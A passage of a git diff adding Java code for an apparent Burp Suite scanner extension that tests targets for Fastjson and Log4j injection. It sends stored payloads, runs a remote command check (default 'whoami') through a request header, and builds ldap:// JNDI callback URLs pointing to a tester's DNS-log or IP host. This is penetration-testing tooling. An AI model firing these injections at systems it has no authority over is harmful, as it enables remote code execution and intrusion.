LogEntry { + private final String key; + private final String value; + private int id; + + public LogEntry(int id, String key, String value) { + this.id = id; + this.key = key; + this.value = value; + } + + public LogEntry(String key, String value) { + this.key = key; + this.value = value; + } + } +} diff --git a/src/main/java/burp/ui/FastjsonUI.java b/src/main/java/burp/ui/FastjsonUI.java new file mode 100644 index 0000000..ae551c9 --- /dev/null +++ b/src/main/java/burp/ui/FastjsonUI.java @@ -0,0 +1,402 @@ +package burp.ui; + +import burp.*; +import burp.bean.ConfigBean; +import burp.bean.FastjsonBean; +import burp.utils.Utils; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import com.intellij.uiDesigner.core.Spacer; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Objects; + +import static burp.dao.ConfigDao.getConfig; +import static burp.dao.FastjsonDao.*; + +public class FastjsonUI implements UIHandler, IMessageEditorController { + private static final List log = new ArrayList<>(); + private static JTable fastjsonTable; + private JPanel panel; + private JPanel fastjsonPanel; + private JButton fastjsonRefershButton; + private JButton fastjsonClearButton; + private JSplitPane fastjsonJSplitPane1; + private JSplitPane fastjsonJSplitPane2; + private JTabbedPane fastjsonJTabbedPanetop; + private JTabbedPane fastjsonJTabbedPanedown; + private JScrollPane fastjsonJScrollPane; + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + + private static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) { + synchronized (log) { + int id = log.size(); + log.add(new LogEntry(id, extensionMethod, url, status, res, baseRequestResponse)); + fastjsonTable.updateUI(); + } + } + + private void setupUI() { + panel = new JPanel(); + panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + fastjsonPanel = new JPanel(); + fastjsonPanel.setLayout(new GridLayoutManager(2, 5, new Insets(0, 0, 0, 0), -1, -1)); + panel.add(fastjsonPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + fastjsonRefershButton = new JButton(); + fastjsonRefershButton.setText("刷新"); + fastjsonPanel.add(fastjsonRefershButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + fastjsonClearButton = new JButton(); + fastjsonClearButton.setText("清空数据"); + fastjsonPanel.add(fastjsonClearButton, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + fastjsonJSplitPane1 = new JSplitPane(); + fastjsonJSplitPane1.setDividerSize(2); + fastjsonJSplitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + fastjsonPanel.add(fastjsonJSplitPane1, new GridConstraints(1, 0, 1, 5, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, new Dimension(200, 200), null, 0, false)); + fastjsonJSplitPane2 = new JSplitPane(); + fastjsonJSplitPane2.setDividerSize(2); + fastjsonJSplitPane2.setResizeWeight(0.5); + fastjsonJSplitPane1.setRightComponent(fastjsonJSplitPane2); + fastjsonJTabbedPanetop = new JTabbedPane(); + fastjsonJSplitPane2.setLeftComponent(fastjsonJTabbedPanetop); + HRequestTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, true); + HResponseTextEditor = Utils.callbacks.createMessageEditor(FastjsonUI.this, false); + fastjsonJTabbedPanetop.addTab("request", HRequestTextEditor.getComponent()); + fastjsonJTabbedPanedown = new JTabbedPane(); + fastjsonJSplitPane2.setRightComponent(fastjsonJTabbedPanedown); + fastjsonJTabbedPanedown.addTab("response", HResponseTextEditor.getComponent()); + fastjsonJScrollPane = new JScrollPane(); + fastjsonJSplitPane1.setLeftComponent(fastjsonJScrollPane); + FastjsonModel fastjsonModel = new FastjsonModel(); + fastjsonTable = new URLTable(fastjsonModel); + fastjsonJScrollPane.setViewportView(fastjsonTable); + final Spacer spacer1 = new Spacer(); + fastjsonPanel.add(spacer1, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)); + + } + + private void setupData() { + + fastjsonRefershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + fastjsonTable.updateUI(); + } + }); + fastjsonClearButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + log.clear(); + HRequestTextEditor.setMessage(new byte[0], true); + HResponseTextEditor.setMessage(new byte[0], false); + fastjsonTable.updateUI(); + } + }); + + } + + public void CheckDnslog(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String res = "dnslog检测"; + List payloads = getFastjsonListByDnsLog(); + if (payloads.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先添加dnslog payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + String dnslog = ""; + try { + ConfigBean dnslogKey = getConfig("config", "dnslog"); + dnslog = dnslogKey.getValue(); + if (dnslog.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先在Config面板设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + } catch (Exception e) { + JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + IHttpService iHttpService = baseRequestResponse.getHttpService(); + for (FastjsonBean fastjson : payloads) { + String fastjsonDnslog = fastjson.getUrl(); + String fuzzPayload = fastjsonDnslog.replace("FUZZ", dnslog); + byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + add(extensionMethod, url, statusCode, res, resp); + } + + } + + public void CheckEchoVul(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + List payloads = getFastjsonListByEchoVul(); + if (payloads.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先添加echo payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + // 弹出一个输入框,用于获取用户输入的dnslog地址 + String defaultValue = "whoami"; + String echoVul = (String) JOptionPane.showInputDialog(null, "请输入echo 命令", "提示", JOptionPane.PLAIN_MESSAGE, null, null, defaultValue); + IHttpService iHttpService = baseRequestResponse.getHttpService(); + Iterator iterator = payloads.iterator(); + headers.add("Accept-Cache: " + echoVul); + while (iterator.hasNext()) { + FastjsonBean fastjson = iterator.next(); + String fastjsonEcho = fastjson.getUrl(); + byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonEcho); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + List headersResp = iResponseInfo.getHeaders(); + boolean containsContentAuth = false; + for (String header : headersResp) { + if (header.contains("Content-auth")) { + containsContentAuth = true; + break; + } + } + if (containsContentAuth) { + add(extensionMethod, url, statusCode, "echo命令检测成功", resp); + } else { + add(extensionMethod, url, statusCode, "echo命令检测失败", resp); + } + } + } + + public void CheckJNDIVul(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + try { + List payloads = getFastjsonListByJNDI(); + if (payloads.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先添加jndi payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + String jndiStr = ""; + String defaultValue = "IP"; // 设置默认值 + String[] options = {"DNS", "IP"}; // 单选框选项 + String selectedValue = (String) JOptionPane.showInputDialog(null, "请选择类型", "提示", + JOptionPane.PLAIN_MESSAGE, null, options, defaultValue); + if (Objects.equals(selectedValue, "DNS")) { + try { + ConfigBean config = getConfig("config", "dnslog"); + String dnslog = config.getValue(); + if (dnslog.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先在Config面板设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } else { + jndiStr = dnslog; + } + } catch (Exception e) { + JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + } else if (Objects.equals(selectedValue, "IP")) { + try { + ConfigBean config = getConfig("config", "ip"); + String ip = config.getValue(); + if (ip.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先在Config面板设置IP地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } else { + jndiStr = ip; + } + } catch (Exception e) { + JOptionPane.showMessageDialog(null, "数据库错误,请联系作者", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + } + + IHttpService iHttpService = baseRequestResponse.getHttpService(); + for (FastjsonBean payload : payloads) { + String dnslogKey = ""; + + String fastjsonJNDI = payload.getUrl(); + String id = String.valueOf(payload.getId()); + if (selectedValue.equals("DNS")) { + dnslogKey = "ldap://" + id + "." + jndiStr; + } else { + dnslogKey = "ldap://" + jndiStr + "/" + id; + } + String fuzzPayload = fastjsonJNDI.replace("FUZZ", dnslogKey); + byte[] bytePayload = Utils.helpers.stringToBytes(fuzzPayload); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + add(extensionMethod, url, statusCode, "jndi检测完成,请查看dnslog服务器", resp); + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } + } + + public void CheckVersion(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String extensionMethod = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + List payloads = getFastjsonListByVersion(); + if (payloads.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先添加version payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + IHttpService iHttpService = baseRequestResponse.getHttpService(); + for (FastjsonBean fastjson : payloads) { + String fastjsonVersion = fastjson.getUrl(); + byte[] bytePayload = Utils.helpers.stringToBytes(fastjsonVersion); + byte[] postMessage = Utils.helpers.buildHttpMessage(headers, bytePayload); // 目前只支持post + IHttpRequestResponse resp = Utils.callbacks.makeHttpRequest(iHttpService, postMessage); + IResponseInfo iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(resp.getResponse()); + String statusCode = String.valueOf(iResponseInfo.getStatusCode()); + add(extensionMethod, url, statusCode, "version检测完成", resp); + } + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + setupUI(); + setupData(); + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "fastjson"; + } + + static class FastjsonModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + LogEntry logEntry = log.get(rowIndex); + switch (columnIndex) { + case 0: + return logEntry.id; + case 1: + return logEntry.extensionMethod; + case 2: + return logEntry.url; + case 3: + return logEntry.status; + case 4: + return logEntry.res; + default: + return ""; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "status"; + case 4: + return "res"; + default: + return ""; + } + + } + + } + + private static class LogEntry { + final int id; + final String extensionMethod; + final String url; + final String status; + final String res; + + final IHttpRequestResponse requestResponse; + + + private LogEntry(int id, String extensionMethod, String url, String status, String res, IHttpRequestResponse requestResponse) { + this.id = id; + this.extensionMethod = extensionMethod; + this.url = url; + this.status = status; + this.res = res; + this.requestResponse = requestResponse; + } + } + + private class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + LogEntry logEntry = log.get(row); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } + +} diff --git a/src/main/java/burp/ui/Log4jUI.java b/src/main/java/burp/ui/Log4jUI.java new file mode 100644 index 0000000..359abe5 --- /dev/null +++ b/src/main/java/burp/ui/Log4jUI.java @@ -0,0 +1,768 @@ +package burp.ui; + +import burp.*; +import burp.bean.ConfigBean; +import burp.bean.Log4jBean; +import burp.utils.JsonUtils; +import burp.utils.Utils; +import com.alibaba.fastjson.JSON; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import org.springframework.util.DigestUtils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.util.List; +import java.util.*; + +import static burp.IParameter.*; +import static burp.dao.ConfigDao.getConfig; +import static burp.dao.ConfigDao.saveConfig; +import static burp.dao.Log4jDao.*; + +public class Log4jUI implements UIHandler, IMessageEditorController, IHttpListener { + private static final List log = new ArrayList<>(); + private static JTable log4jTable; + private static boolean enableHeader; + private static boolean enableParam; + private static boolean enableWhiteDomain; + private static boolean originalPayload; + private static boolean passiveScan; + private static final List parameterList = new ArrayList<>(); + private static final List urlHashList = new ArrayList<>(); + private JPanel panel; + private JCheckBox passiveBox; + private JCheckBox headerBox; + private JCheckBox dnsIpCheckBox; + private JCheckBox orgpayloadCheckBox; + private JCheckBox paramBox; + private JCheckBox whiteDomainCheckBox; + private JButton saveWhiteDomainButton; + private JTextField whiteDomaintextField; + private JButton refershTableButton; + private JButton clearTableButton; + private JButton savePayloadButton; + private JButton saveHeaderButton; + private JEditorPane headertextField; + private JEditorPane payloadtextField; + private JTabbedPane tabbedPane2; + private JTabbedPane tabbedPane3; + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + + public static void Check(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + List reqheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String method = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List paraLists = analyzeRequest.getParameters(); + // url 中为静态资源,直接返回 + List suffix = Utils.getSuffix(); + for (String s : suffix) { + if (url.endsWith(s) || url.contains(s)) { + return; + } + } + + // 对url进行hash去重 + for (IParameter paraList : paraLists) { + String paraName = paraList.getName(); + parameterList.add(paraName); + } + if (!checkUrlHash(method + url + parameterList.toString())) { + return; + } + + + ConfigBean enableHeaderConfig = getConfig("log4j", "log4jHeaderCheckBox"); + enableHeader = enableHeaderConfig.getValue().equals("true"); + ConfigBean enableWhiteDomainConfig = getConfig("log4j", "log4jWhiteDomainCheckBox"); + enableWhiteDomain = enableWhiteDomainConfig.getValue().equals("true"); + ConfigBean originalPayloadConfig = getConfig("log4j", "log4jOrgPayloadCheckBox"); + originalPayload = originalPayloadConfig.getValue().equals("true"); + ConfigBean paramCheckBoxConfig = getConfig("log4j", "log4jParamCheckBox"); + enableParam = paramCheckBoxConfig.getValue().equals("true"); + + + if (enableWhiteDomain) { + ConfigBean whiteSqlDomain = getConfig("log4j", "log4jWhiteDomain"); + String whiteDomain = whiteSqlDomain.getValue(); + if (whiteDomain.isEmpty()) { + JOptionPane.showMessageDialog(null, "已开启白名单扫描,请先设置白名单域名", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + if (!url.contains(whiteDomain)) { + // 不在白名单域名中,直接返回 + return; + } + } + + // 先将payload存储 + Set log4jPayload = new LinkedHashSet<>(); + List payloadList = getPayloadList(); + if (payloadList.isEmpty()) { + JOptionPane.showMessageDialog(null, "请先添加payload", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + // 将数据库中的payload加入到列表 + for (Log4jBean log4j : payloadList) { + if (originalPayload) { + log4jPayload.add(log4j.getValue()); + } else { + if (log4j.getValue().contains("dnslog-url")) { + if (getConfig("log4j", "log4jDnsIpCheckBox").getValue().equals("true")) { + try { + String dns = getConfig("config", "dnslog").getValue(); + if (dns.isEmpty()) { + JOptionPane.showMessageDialog(null, "已勾选dnslog,请先设置dnslog地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "dns"); + log4jPayload.add(log4j.getValue().replace("dnslog-url", logPrefix + dns)); + } catch (Exception e) { + JOptionPane.showMessageDialog(null, "数据库初始化失败,请联系作者", "提示", JOptionPane.ERROR_MESSAGE); + return; + } +// log4jPayload.add(utils.urlEncode(log4j.getValue()).replace("dnslog-url", logPrefix+dns)); + + } else { + try { + String ip = getConfig("config", "ip").getValue(); + if (ip.isEmpty()) { + JOptionPane.showMessageDialog(null, "已勾选ip,请先设置ip地址", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + String logPrefix = getReqTag(baseRequestResponse, analyzeRequest, "ip"); + log4jPayload.add(log4j.getValue().replace("dnslog-url", ip + "/" + logPrefix)); + } catch (Exception e) { + JOptionPane.showMessageDialog(null, "数据库初始化失败,请联系作者", "提示", JOptionPane.ERROR_MESSAGE); + return; + } +// log4jPayload.add(utils.urlEncode(log4j.getValue()).replace("dnslog-url", ip+"/"+logPrefix)); + + } + } else { + log4jPayload.add(log4j.getValue()); + } + } + } + + // 检测参数 + if (enableParam) { + for (IParameter para : paraLists) { + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_JSON) { + String paraName = para.getName(); + String paraValue = para.getValue(); + // 判断参数是否在url中 + if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) { + for (String logPayload : log4jPayload) { + IParameter iParameter = Utils.helpers.buildParameter(paraName, logPayload, para.getType()); + byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameter); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + String ParamLength = ""; + String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode()); + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + ParamLength = header.split(":")[1].trim(); + break; + } + } + } + if (ParamLength.isEmpty()) { + assert sqlresponseBody != null; + ParamLength = String.valueOf(sqlresponseBody.length); + } + add(method, url, ParamstatusCode, ParamLength, newRequestResponse); + } + + } + // 判断参数是否在json中 + else if (para.getType() == PARAM_JSON) { + for (String logPayload : log4jPayload) { + String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1]; + Map request_json = JSON.parseObject(request_data); + List objectList = JsonUtils.updateJsonObjectFromStr(request_json, Utils.ReplaceChar(logPayload), 0); + String json = ""; + for (Object o : objectList) { + json = JSON.toJSONString(o); + } + byte[] bytes = Utils.helpers.buildHttpMessage(reqheaders, json.getBytes()); + IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); + IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); + byte[] sqlresponseBody = newRequestResponse.getResponse(); + String ParamLength = ""; + String ParamstatusCode = String.valueOf(analyzeResponse.getStatusCode()); + if (sqlresponseBody != null) { + // 判断有无Content-Length字段 + IResponseInfo ReqResponse = Utils.helpers.analyzeResponse(sqlresponseBody); + List sqlHeaders = ReqResponse.getHeaders(); + for (String header : sqlHeaders) { + if (header.contains("Content-Length")) { + ParamLength = header.split(":")[1].trim(); + break; + } + } + } + if (ParamLength.isEmpty()) { + assert sqlresponseBody != null; + ParamLength = String.valueOf(sqlresponseBody.length); + } + add(method, url, ParamstatusCode, ParamLength, newRequestResponse); + + } + break; + } + } + } + } + + + // 检测header + boolean enableHeader = getConfig("log4j", "log4jHeaderCheckBox").getValue().equals("true"); + if (enableHeader) { + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + List headerList = getHeaderList(); + for (String logPayload : log4jPayload) { + List reqheaders2 = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + List newReqheaders = new ArrayList<>(); + Iterator iterator = reqheaders2.iterator(); + while (iterator.hasNext()) { + String reqheader = iterator.next(); + for (Log4jBean log4j : headerList) { + if (reqheader.contains(log4j.getValue())) { + iterator.remove(); + String newHeader = log4j.getValue() + ": " + logPayload; + if (!newReqheaders.contains(newHeader)) { + newReqheaders.add(newHeader); + } + } + } + } + for (Log4jBean log4j : headerList) { + String newHeader = log4j.getValue() + ": " + logPayload; + if (!reqheaders2.contains(log4j.getValue()) && !newReqheaders.contains(newHeader)) { + newReqheaders.add(newHeader); + } + } + + reqheaders2.addAll(newReqheaders); + byte[] postMessage = Utils.helpers.buildHttpMessage(reqheaders2, body); + IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); + byte[] responseBody = originalRequestResponse.getResponse(); + + String originallength = ""; + String statusCode = ""; + if (responseBody != null) { + IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); + List headers = originalReqResponse.getHeaders(); + statusCode = String.valueOf(originalReqResponse.getStatusCode()); + for (String header : headers) { + if (header.contains("Content-Length")) { + originallength = header.split(":")[1].trim(); + break; + } + } + } + if (originallength.isEmpty()) { + assert responseBody != null; + originallength = String.valueOf(responseBody.length); + } + add(method, url, statusCode, originallength, originalRequestResponse); + } + } + + } + + private static String getReqTag(IHttpRequestResponse baseRequestResponse, IRequestInfo req, String type) { + List requestHeader = req.getHeaders(); + // 循环获取参数,判断类型,进行加密处理后,再构造新的参数,合并到新的请求包中。 + //第一行请求包含请求方法、请求uri、http版本 + String firstrequestHeader = requestHeader.get(0); + String[] firstheaders = firstrequestHeader.split(" "); + String uri = firstheaders[1].split("\\?")[0].replace("/", "."); + if (firstheaders[1].split("\\?")[0].replace("/", ".").length() > 25) { + uri = uri.substring(0, 25); + if (uri.endsWith(".")) { + uri = uri.substring(0, uri.length() - 1); + } + } + if (uri.endsWith(".")) { + uri = uri.substring(0, uri.length() - 1); + } + IHttpService httpService = baseRequestResponse.getHttpService(); + String host = httpService.getHost(); + if (type.equals("dns")) { + return firstheaders[0].trim() + "." + host + uri + "."; + } else { + return firstheaders[0].trim() + "." + host + uri; + } + } + + public static boolean checkUrlHash(String url) { + parameterList.clear(); + String md5 = DigestUtils.md5DigestAsHex(url.getBytes()); + if (urlHashList.contains(md5)) { + return false; + } else { + urlHashList.add(md5); + return true; + } + } + + public static void add(String extensionMethod, String url, String status, String res, IHttpRequestResponse baseRequestResponse) { + synchronized (log) { + int id = log.size(); + log.add(new LogEntry(id, extensionMethod, url, status, res, baseRequestResponse)); + log4jTable.updateUI(); + } + + } + + private void setupUI() { + panel = new JPanel(); + panel.setLayout(new BorderLayout(0, 0)); + final JPanel panel2 = new JPanel(); + panel2.setLayout(new BorderLayout(0, 0)); + panel.add(panel2, BorderLayout.CENTER); + final JPanel panel3 = new JPanel(); + panel3.setLayout(new BorderLayout(0, 0)); + panel2.add(panel3, BorderLayout.CENTER); + final JPanel panel4 = new JPanel(); + panel4.setLayout(new BorderLayout(0, 0)); + panel3.add(panel4, BorderLayout.EAST); + final JPanel panel5 = new JPanel(); + panel5.setLayout(new GridLayoutManager(6, 2, new Insets(0, 0, 0, 0), -1, -1)); + panel4.add(panel5, BorderLayout.NORTH); + passiveBox = new JCheckBox(); + passiveBox.setText("被动扫描"); + panel5.add(passiveBox, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + headerBox = new JCheckBox(); + headerBox.setText("检测header"); + panel5.add(headerBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + dnsIpCheckBox = new JCheckBox(); + dnsIpCheckBox.setText("dns/ip"); + panel5.add(dnsIpCheckBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + orgpayloadCheckBox = new JCheckBox(); + orgpayloadCheckBox.setText("原始payload"); + panel5.add(orgpayloadCheckBox, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + whiteDomainCheckBox = new JCheckBox(); + whiteDomainCheckBox.setText("白名单域名"); + panel5.add(whiteDomainCheckBox, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + paramBox = new JCheckBox(); + paramBox.setText("检测参数"); + panel5.add(paramBox, new GridConstraints(2, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + saveWhiteDomainButton = new JButton(); + saveWhiteDomainButton.setText("保存域名"); + panel5.add(saveWhiteDomainButton, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + whiteDomaintextField = new JTextField(); + panel5.add(whiteDomaintextField, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + refershTableButton = new JButton(); + refershTableButton.setText("刷新"); + panel5.add(refershTableButton, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + clearTableButton = new JButton(); + clearTableButton.setText("清空"); + panel5.add(clearTableButton, new 